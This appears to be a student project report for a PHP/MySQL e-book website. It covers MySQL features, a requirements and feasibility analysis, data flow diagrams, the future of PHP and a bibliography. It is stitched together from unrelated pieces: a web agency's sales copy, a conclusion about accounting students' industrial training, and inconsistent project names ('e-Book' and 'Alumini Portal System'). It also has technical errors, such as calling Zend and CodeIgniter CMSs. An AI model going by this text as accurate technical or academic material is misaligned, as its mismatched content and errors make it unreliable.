Google (though not for searches), Nokia, Auctionmarts and YouTube) use MySQL for data storage
and logging of user data.

Platforms and interfaces

The MySQL Administrator in Linux

MySQL is written in C and C++. MySQL works on many different system platforms, including AIX,
BSDi, FreeBSD, HP-UX, i5/OS, Linux, Mac OS X, NetBSD, Novell NetWare, OpenBSD,
OpenSolaris, eComStation, OS/2 Warp, QNX, IRIX, Solaris, Symbian, SunOS, SCO OpenServer,
SCO UnixWare, Sanos, Tru64 and Microsoft Windows. A port of MySQL to OpenVMS is also
available.[9]

Libraries for accessing MySQL databases are available in all major programming languages with
language-specific APIs. In addition, an ODBC interface called MyODBC allows additional
programming languages that support the ODBC interface to communicate with a MySQL database,
such as ASP or ColdFusion. The MySQL server and official libraries are mostly implemented in
ANSI C/ANSI C++.

Features

A broad subset of ANSI SQL 99, as well as extensions

Cross-platform support
Stored procedures
Triggers
Cursors
Updatable Views

True Varchar support

Strict mode
Query caching
Sub-SELECTs (i.e. nested SELECTs)
Replication with one master per slave, many slaves per master, no automatic support for
multiple masters per slave.
Full-text indexing and searching using MyISAM engine
Embedded database library
PHP/ MYSQL Web Application Development

Community websites offers php/MySQL web design and programming services for various
clients needs. We use the LAMP platform to develop our applications – Linux, Apache, MYSQL
and PHP. This platform is an effective alternative to commercial software for building and
running dynamic and high performance web systems.

PHP and MySQL are two leading open-source scripting and database technologies for web
designers today. Over the years they have each evolved and grown in complexity and
functionality and yet they are still tied together to provide a powerful and flexible platform for
web applications. They run on both linux and windows servers so your web host most likely
supports it. With the advent of PH5, PHP language has evolved to be an object oriented
programming language enabling more robust and standards based web applications..

Community websites leverages both PHP and MYSQL to build rich database driven dynamic
and interactive websites and website applications. Our services include PHP and MySQL web
development, open source shopping carts, PHP, MySQL offshore development and PHP
programming services. We have a team of experienced coders dedicated to work on any
php/mysql project and have it delivered on time, per your specifications.
SYSTEM ANALYSIS

The Analysis model:

The analysis model must achieve three primary objectives:

To describe what the user required.

To establish the basis for the enhancement of a software design.
To define a set of requirements that can be validated once the software is completely enhanced. The
main elements of the analysis model are briefly described below.

Process
Data Object Specification
Description

Entity Data Flow

Relationship Diagram
Diagram Data
Dictionar
y

State Transition

Control
Specification

At the core of the model lies the data dictionary, which is a repository that contains descriptions of all
the data objects consumed or produced by the software .Three different diagrams surround the core.
The entity relation diagram depicts relationships between data objects.
The data flow diagram provides an indication of how the data is transformed as they move through
the system.
The state transition diagram indicates how the system behaves as a consequence of external events.
 REQUIREMENT ANALYSIS

Goal of Thesis
The goal of our thesis is to develop a website that can be used with the features of
interaction and problem solving. The whole project will be based on PHP with MYSQL as the
database with certain security constraints added to it.
Administrator
He has to see whether the website is working properly and whether the details available
in the system are relevant and correct. He can view, add, modify, delete details.
Database
The database keeps all the records of all the users i.e. name, phone no., ,etc. For creating
such records it takes the help of tables which is created in the MYSQL. The tables can
have infinite entries of all the registered users as well as administrators.
Clients
Our aim will also to provide efficient way by which client can enter to see his profile, ask
questions, give comments and download and read ebooks.
Security Constraints
There need to be certain constraints which have to be implemented on the database as
well as on the administrator in order to work properly the whole system, such as
declaring the primary key, or such constraints in order to keep the database work
properly.
 PROBLEM ANALYSIS

Applications
The main applications of the e-Book is the ability of the website to properly show and
manage information about various books. The administrator has the ability to change ,
modify, view and delete the various details. The users have the ability to log in and to
read various books.

Challenges
The challenges mainly lie in detecting attacks like viruses, hacking and also in the
implementation of firewall. A virus can enter the system and can disrupt the working of
the website. Hacking can be done by some people who want to access some restricted
sections of the website (e.g. administrator’s area) and to modify or taper some aspects of
the website.
Scanning attacks may yield:
The method used by viruses to enter the system.
The types of database allowed through a firewall.
The paths or ways used by hackers to enter the system
The loopholes remaining in the system (or website) which are used by attackers.
The server from where the viruses or hackers are gaining access to the system.
The types of viruses able to affect the website.

And with the implementation of firewall and other security mechanisms that are designed for it, the
Alumini Portal System Website safe and secure.
 FEASIBILTY STUDY

From the inception of ideas for software system, until it is implemented and delivered to
customer and even after that the system undergoes gradual developments and evaluations.
The software is said to have life cycle composed of several phases.
At the feasibility stage, it is desirable that two or three different configuration will be
pursed that satisfy the key technical requirement but which represent different level of
ambition and cost.
Feasibility is the determination of whether or not a project is worth doing. A feasibility
study is carried out select a best system that make performance requirements.
The data collected during primary investigation examines system feasibilities that is
likelihood that the system will be beneficial to the organization. Four tests for feasibility
study are as follows:-

 Technical Feasibility:
This is concerned with specifying equipment and software that will successfully satisfy the use
considerably, but might include
 The feasibility to produce output in a given time because system is fast enough to
handle multiple users.
 Response time under certain circumstances and ability to process a certain volume of
transaction of a particular speed.
 Feasibility to communicate data to distant location.

 Economical Feasibility:
Economic analysis is the most frequently used technique used for evaluating the effectiveness of a
proposed system. More commonly known as cost/benefit analysis the procedure is to determine the
benefits and savings that are expected from a proposed system and compared them with cost.
Though the cost of installing the system may appear high, it is one time investment. The resulting
benefits is that automation results in turnaround time. The resulting cost/benefit ratio is favorable.
 Operational Feasibility:
It is mainly related to human organizational as social aspects. The points to be
considered are - The system interface is standard, user friendly and provides
extensive help. Hence no special training is required.

 Social Feasibility:
Social feasibility is determination of whether a proposed project will be
acceptable to people or not, So this project is totally Social and Feasible
 DATA FLOW DIAGRAM

Data Flow Diagrams:

It is a way of expressing System requirement in a graphical form; this

leads to a modular design. It is also known as bubble chart, has the
purpose of clarifying system requirements and identifying major
transformations that will become program in system design. So it is the
starting point of the design phase that functionally decomposes the
requirement specifications down to the lowest level of details. A DFD
consist of a series of bubbles joined by lines. The bubbles represent data
transformation and the lines represent data flows in the system.

DFD SYMBOLS:

= Source or Destination of data

= Data flow

= Process that transform data flow

CONCLUSION

Industrial training is viewed as important strategies expose students to real work

life and to equip them with necessary skills so that they would be job ready
when they graduate. Institutions tend to introduce this component irrespective
of the discipline of studies with the intention of ensuring their students
competency and fully prepared for job.
Industrial training comes from the word "industry". You have heard many times
that the United States is a great industrial nation. This is true; USA does owe
high standard of living and itsposition in the world, at least in part to its ability
to mass- produce high quality products Based on the result of the study, the
following are the conclusions.
Industrial training is very important or necessary to the graduating Accounting
Students. It is very useful or helpful to every accounting students or individuals
to motivate competency. The benefits of industrial training are also needed,
especially when you are applying a job. The advantage of attending industrial
training is very significant to our personality. The competency of students is not
only from the classroom training, but also the big part is to have industrial
training. Therefore, I conclude that the impact of industrial training is very big
in the part of individuals. It is very useful and helpful and most especially to our
personality.
FUTURESCOPE

Are you proceeding to work on PHP, worried about the future scope of php?
Looking at current market we can assure a good future of PHP. However, in
technical era none of the technology can be constant. But for choosing a better
option for now, PHP is best. Here we will try to list out some points for the
same. Here we are providing some concepts to clear the future scope of php, for
those who are working on it as well as those who are willing to work on. PHP
Visibility over internet : securing php future If you surf net, you can easily find
out many websites with extension ‘.php’. This vast availability of php
applications on internet can make you think about its popularity.

PHP Visibility over internet : securing php future

If you surf net, you can easily find out many websites with extension ‘.php’.
This vast availability
of php applications on internet can make you think about its popularity.
Currently PHP pages are a common part of web applications, and one of the
most popular
languages for web development used by developers worldwide.
If we surf internet we can see millions of websites built with php and mysql.

PHP in blogging: a secure scope of php

Excellent blog webistes are built using wordpress, which is also designed by
PHP. Blogs are the most common contents of internet in today’s world. People
with minimum technical knowledge operates their Blogs, this is possible by
simple language like php.

CMS Supporting PHP: a Technical Future Move

Thousands of CMS that support PHP are freely available to download and use
like Zend, Codeigniter, YUii, symfony, Joomla, Magento, Drupal and Cake php
etc. CMS in support to PHP provides the e_cient way to publish websites easily,
which is a very good move for the future of PHP.
PHP and MySQL: providing vast range application

The combination of PHP and MySQL provides a vast range of web application
development. Web application development for even non-technical persons
have become simple with combo of php and MySQL database.

PHP simplicity uplifting its its use in future

PHP is so simple and easy to use, that makes its future bright as working on
other languages is more complex than PHP. PHP came in lame light after over
taking many powerful languages in web development, this justifies that PHP is
going to be in market for long lasting.

Regular updation in PHP: a way to maintain future

existence

Day by day modification for using PHP is being done by developing new
technologies, new frameworks. New frameworks are coming in existence to
support PHP coding, this is a measure for PHP future.
Object oriented based frameworks like zend is in market that is working like a
booster for PHP web application development. CMS that supports working on
PHP provides extendable plug-ins to extend the features for using PHP.

Recommendations: increase in popularity and future

scope of PHP

Many professionals from top companies prefer using PHP for web application
development. Php is used over other languages because it’s above mentioned
benefits. PHP is also a low cost web development tool, developers charge very
less or we may say low development charge is allotted. As a result companies
prefer it more. For the developers who are fresher to PHP, for them also PHP is
a very good and efective tool to start with. If you want to continue your job as a
developer itself, then PHP or any other tool/language is just a technology, more
focus should be on your logics. Logics are the important tool for your survival
as the code developer. become comfortable in any of the one computer
language, it becomes very easy to grasp the other languages as per further
demand. And PHP is the finest web development tool and has the brightest
future. My advice for you all is that once you are reasonably comfortable with
PHP, try using some framework like Joomla, Drupal, WordPress and others.
BIBLIOGRAPHY

At the time of developing this project, I have consulted various books of

HTML, XHTML and CSS. Tutorials from different Websites, these are the
following:

Books

 HTML and CSS Web Standards Solutions: A Web Standardistas'

Approach
by Nicklas Persson (Author), Christopher Murphy(Author)

 A Practical Guide to Designing by Mark Boulton.

 HTML5 & CSS3 For The Real World by Estelle Weyl, Louis Lazaris and
Alexis Goldstein